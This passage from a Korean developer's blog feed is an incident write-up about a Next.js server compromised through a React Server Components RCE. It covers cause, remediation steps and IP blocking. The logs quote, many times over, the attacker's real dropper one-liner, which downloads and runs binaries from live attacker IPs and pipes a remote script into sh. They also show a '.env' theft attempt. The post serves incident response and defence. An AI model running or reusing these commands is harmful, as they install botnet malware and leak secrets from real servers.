      stderr: &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;,
      digest: '947727682'
    },
    status: 0,
    signal: null,
    output: [
      null,
      &amp;lt;Buffer &amp;gt;,
      &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;
    ],
    pid: 179,
    stdout: &amp;lt;Buffer &amp;gt;,
    stderr: &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;,
    digest: '947727682'
  },
  status: 0,
  signal: null,
  output: [Array],
  pid: 179,
  stdout: &amp;lt;Buffer &amp;gt;,
  stderr: &amp;lt;Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 34 35 2e 36 31 2e 31 35 37 2e 31 32 20 28 34 35 2e 36 31 2e 31 35 37 2e 31 32 3a 38 30 29 0a&amp;gt;,
  digest: '947727682'
  
  
  
  
  ==============================================
  
  '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ], error: [Error: spawnSync /bin/sh ETIMEDOUT] { errno: -110, code: 'ETIMEDOUT', syscall: 'spawnSync /bin/sh', path: '/bin/sh', spawnargs: [ '-c', '(cd /dev;(busybox wget -O x86 http://89.144.31.18/nuts/x86||curl -s -o x86 http://89.144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://89.144.31.18/nuts/bolts -O-||wget -q http://89.144.31.18/nuts/bolts -O-||curl -s http://89.144.31.18/nuts/bolts)|sh)&amp;amp;' ],&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stderr 출력에서 보다시피 악성 외부 연결 흔적을 확인할 수 있었다.&lt;br /&gt;&lt;br /&gt;컨테이너를 다시 구동 시켜놓고 실시간으로 모니터링을 하니 패턴이 아래와 같았다.&lt;/p&gt;
&lt;pre id=&quot;code_1765329086783&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;⨯ [Error: NEXT_REDIRECT] { digest: 'nextjs' }

Connecting to 45.61.157.12 (45.61.157.12:80)

# 이 다음 위에 로그처럼 우다다다다&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NEXT_REDIRECT 찍히고나서 2~3분 이내에 Connection to... 가 찍히더니 위에 우다다다 로그 찍힘&lt;br /&gt;&lt;b&gt;&lt;br /&gt;난 저쪽으로 Connection 관련 소스를 작성한적이 없는데 이게 뭔 일 ..?&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인해보니 wget, curl, busybox 프로세스가 &lt;u&gt;&lt;b&gt;컨테이너 내부가 아닌 돌아가고있는 서버(로컬)&lt;/b&gt;&lt;/u&gt;에서 지속 실행되고 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1765329303379&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;   ps aux | grep -E &quot;x86|nuts|45.61|89.144&quot;
1001     2858396  0.0  0.0   1644    64 ?        S    02:30   0:00 /bin/sh -c (cd /dev;(busybox wget -O x86 http://45.61.157.12/nuts/x86||curl -s -o x86 http://45.61.157.12/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://45.61.157.12/nuts/bolts -O-||wget -q http://45.61.157.12/nuts/bolts -O-||curl -s http://45.61.157.12/nuts/bolts)|sh)&amp;amp;
1001     2858497  0.0  0.0   1644    72 ?        S    02:32   0:00 /bin/sh -c (cd /dev;(busybox wget -O x86 http://45.61.157.12/nuts/x86||curl -s -o x86 http://45.61.157.12/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q http://45.61.157.12/nuts/bolts -O-||wget -q http://45.61.157.12/nuts/bolts -O-||curl -s http://45.61.157.12/nuts/bolts)|sh)&amp;amp;
1001     2858598  0.0  0.0   1692     4 ?        S    02:34   0:00 wget -q http://45.61.157.12/nuts/bolts -O-
root     2858710  0.0  0.0 222324  2208 pts/6    S+   02:36   0:00 grep --color=auto -E x86|nuts|45.61|89.144&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 이런건 아무리 process kill 해도 다시 되살아난다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;악성 IP 정리 표&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;&lt;b&gt;항목&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;&lt;b&gt; 45.61.157.12&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;&lt;b&gt; 89.144.31.18&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;&lt;b&gt;비고&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;역할&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;1차 페이로드 서버&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;2차/변형 공격 서버&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;서로 다른 배포 노드일 가능성 큼&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;관측된 요청 로그&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;Connecting to 45.61.157.12:80&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;wget http://89.144.31.18/nuts/x86&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;동일 명령 구조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;다운로드 경로&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;/nuts/x86, /nuts/bolts&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;/nuts/x86, /nuts/bolts&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;파일명 동일 (봇넷 공통 페이로드)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;목적&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;악성 바이너리 실행 및 추가 스크립트 주입&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;파일 실행 후 후속 명령 실행&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;서버 장악 / 마이너 / 백도어 삽입 목적 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;사용된 명령어&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;busybox wget, curl, sh&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;busybox wget, curl, sh&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;동일 패턴 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;위치 추정&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;North America (서버팜 / VPN 가능성)&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;Europe 추정&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;봇넷 분산 CDN 특성 가능성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;특징&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;최초 감염 트리거에 등장&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;감염 후 후속 실행 명령 포함&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;공격 인프라 연결 확인됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;위험도&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;  매우 높음&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;  매우 높음&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;&lt;b&gt;즉시 차단 필요&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 12.5581%;&quot;&gt;차단 권장&lt;/td&gt;
&lt;td style=&quot;width: 30.9303%;&quot;&gt;AWS 보안 그룹 / 방화벽 차단&lt;/td&gt;
&lt;td style=&quot;width: 28.9535%;&quot;&gt;동일&lt;/td&gt;
&lt;td style=&quot;width: 27.4419%;&quot;&gt;IP, CIDR 차단 추천&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;중간 중간에 다른 로그도 찍히는걸 보아하니, .env 파일도 탈취하려고 이런저런 시도를 하는듯&lt;/p&gt;
&lt;pre id=&quot;code_1765329331378&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat: can't open '.env*': No such file or directory
 ⨯ [Error: Command failed: cat .env*
cat: can't open '.env*': No such file or directory
] {
  status: 1,
  signal: null,
  output: [Array],
  pid: 196,
  stdout: &amp;lt;Buffer &amp;gt;,
  stderr: &amp;lt;Buffer 63 61 74 3a 20 63 61 6e 27 74 20 6f 70 65 6e 20 27 2e 65 6e 76 2a 27 3a 20 4e 6f 20 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 ... 1 more byte&amp;gt;,
  digest: '4105317061'
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;3. 원인 분석&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js&amp;nbsp;15.5.0&amp;nbsp;~&amp;nbsp;15.5.6&amp;nbsp;버전&amp;nbsp;React&amp;nbsp;Flight&amp;nbsp;Protocol&amp;nbsp;RCE&amp;nbsp;취약점 &lt;br /&gt;(원격&amp;nbsp;코드&amp;nbsp;실행,&amp;nbsp;Remote&amp;nbsp;Code&amp;nbsp;Execution)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://news.hada.io/topic?id=24874&quot;&gt;https://news.hada.io/topic?id=24874&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1765329422729&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;React와 Next.js에서 원격 코드 실행이 가능한 취약점 CVE-2025-55182( | GeekNews&quot; data-og-description=&quot;React 서버 컴포넌트에서 인증 없이 임의 코드를 실행할 수 있는 원격 코드 실행(RCE) 취약점이 발견되어 즉시 업그레이드 필요Next.js도 영향을 받으며, App Router 기능을 사용하는 경우 취약함. Next.js&quot; data-og-host=&quot;news.hada.io&quot; data-og-source-url=&quot;https://news.hada.io/topic?id=24874&quot; data-og-url=&quot;https://news.hada.io/topic?id=24874&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/B68zZ/hyZOKJWt3P/hNcywtif4z5K6D7vdDwvQ1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/ch0LFU/hyZPbHitNa/ypPaULD3dQL8y3kxz2KgN1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://news.hada.io/topic?id=24874&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://news.hada.io/topic?id=24874&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/B68zZ/hyZOKJWt3P/hNcywtif4z5K6D7vdDwvQ1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/ch0LFU/hyZPbHitNa/ypPaULD3dQL8y3kxz2KgN1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;React와 Next.js에서 원격 코드 실행이 가능한 취약점 CVE-2025-55182( | GeekNews&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;React 서버 컴포넌트에서 인증 없이 임의 코드를 실행할 수 있는 원격 코드 실행(RCE) 취약점이 발견되어 즉시 업그레이드 필요Next.js도 영향을 받으며, App Router 기능을 사용하는 경우 취약함. Next.js&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;news.hada.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;4. 해결 과정&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js 16 으로 업그레이드 (node v20 이상)&lt;br /&gt;.next 삭제, node_modules 삭제 , package.json 삭제&lt;br /&gt;Docker 이미지 싹다 제거 후 다시 build ( --no-cache)&lt;/p&gt;
&lt;pre id=&quot;code_1765329620869&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 사용하지 않는 Docker 이미지 삭제
docker image prune -a -f

# 아래 폴더, 파일 삭제
rm -rf .next node_modules package-lock.json

# 재설치
npm install

# 검증
npm audit fix --force

# 빌드할때 --no-cache 필수, 안하면 잔재 남아서 계속 똑같음
docker build --no-cache -t myProject/bb:latest .&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;5. 마무리 회고&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt; 간단히 요약 정리해서 별거 아닌것 같지만, redis 컨테이너도 별도로 돌고있어서 처음에 redis 가 뚫렸나 하고 엄청 찾아보고 삽질 계속 했다.&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt;가뜩이나 프로젝트 규모도 적은게 아니라서 build 배포 하는데에만 5분 가량이 걸리는데 지우고 배포하고 지우고 배포하고 무한반복 , 회사 다니면서 제일 힘든 날이었음, 피 말리는 시간이었다.&lt;br /&gt;뭐가 됐든 이 사이트 개발 담당자가 나고, 인프라쪽에 대한 지식이 별로 그리 많지않은데 이리저리 해봐도 다 해결은 안되고, 최후의 보루로 서버까지 새로 파서 옮겼는데 똑같이 저 파바박 올라오는 로그 또 찍히는 순간 진짜 숨이 안쉬어짐;;&lt;br /&gt;&lt;br /&gt;어쨋든 해결이 완료되었고, &lt;span style=&quot;background-color: #ffffff; text-align: left;&quot;&gt;이런 취약점 정보가 공개되는 즉시 파악할 수 있도록 &lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; text-align: left;&quot;&gt;관련 개발자 보안 커뮤니티(?) 를 주기적으로 눈팅 하기로 다짐하였다.&lt;br /&gt;&lt;s&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: left;&quot;&gt;프레임워크 릴리즈 노트 보는것도 하나의 방법일텐데 , 이거까지 주기적으로 보는 사람이 있나 ..?&lt;/span&gt;&lt;/s&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;아래는 삽질 과정에 쳤던 다른 명령어들 ..&lt;br /&gt;&lt;/span&gt;sudo&amp;nbsp;grep&amp;nbsp;-R&amp;nbsp;&quot;45\.61&quot;&amp;nbsp;/etc&amp;nbsp;/home&amp;nbsp;/var&amp;nbsp;2&amp;gt;/dev/null&lt;br /&gt;grep -R &quot;45\.61&quot; /var/lib/docker 2&amp;gt;/dev/null | head -n 30&lt;br /&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;grep&amp;nbsp;-R&amp;nbsp;&quot;45\.61&quot;&amp;nbsp;/app&amp;nbsp;-n&amp;nbsp;|&amp;nbsp;head&amp;nbsp;-n&amp;nbsp;50&lt;br /&gt;&lt;/span&gt;sudo&amp;nbsp;grep&amp;nbsp;-R&amp;nbsp;&quot;nuts&quot;&amp;nbsp;/etc&amp;nbsp;/var/spool/cron&amp;nbsp;/var/spool/cron/crontabs&amp;nbsp;2&amp;gt;/dev/null&lt;br /&gt;grep&amp;nbsp;-R&amp;nbsp;&quot;sh&quot;&amp;nbsp;/app&amp;nbsp;-n&amp;nbsp;|&amp;nbsp;head&amp;nbsp;-n&amp;nbsp;50&lt;br /&gt;ps aux | grep x86&lt;br /&gt;iptables -A INPUT -s 89.144.31.18 -j DROP &lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Next.js 를 사용했던 이유는 PHP 에만 절여져있던 나를 좀 더 한층 업글하기 위함이었는데 이런 일 당하니 좀 ..&lt;br /&gt;솔직히 별것도 아닌것도 죄다 컴포넌트화시켜서 import 하는것도 좀 맘에들지 않는 방식이다&lt;br /&gt;사용하면서도 늘 이게 과연 깔끔한 방식인가 에 대한 의구심이 들음&lt;br /&gt;&lt;br /&gt;역시 PHP 가 최고인것인가 ?! ㅋㅋㅋ&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>CVE</category>
      <category>Next.js RCE</category>
      <category>Next.js 보안</category>
      <category>Next.js 보안 Next.js RCE</category>
      <category>Node.js 보안</category>
      <category>npm audit</category>
      <category>RCE 공격</category>
      <category>React 취약점</category>
      <category>원격코드실행</category>
      <category>웹 취약점</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/223</guid>
      <comments>https://bug41.tistory.com/entry/Nextjs-RCE-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9C%BC%EB%A1%9C-%EC%9D%B8%ED%95%B4-%EC%84%9C%EB%B2%84-%EB%8B%A4%EC%9A%B4-%EC%82%BD%EC%A7%88-%EA%B8%B0%EB%A1%9D-Docker-%ED%99%98%EA%B2%BD-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D#entry223comment</comments>
      <pubDate>Wed, 10 Dec 2025 10:54:49 +0900</pubDate>
    </item>
    <item>
      <title>먼데이 API 활용 보드 데이터 추출, monday.com GraphQL, cursor 정리</title>
      <link>https://bug41.tistory.com/entry/%EB%A8%BC%EB%8D%B0%EC%9D%B4-API-%ED%99%9C%EC%9A%A9-%EB%B3%B4%EB%93%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EC%B6%94%EC%B6%9C-mondaycom-GraphQL-cursor-%EC%A0%95%EB%A6%AC</link>
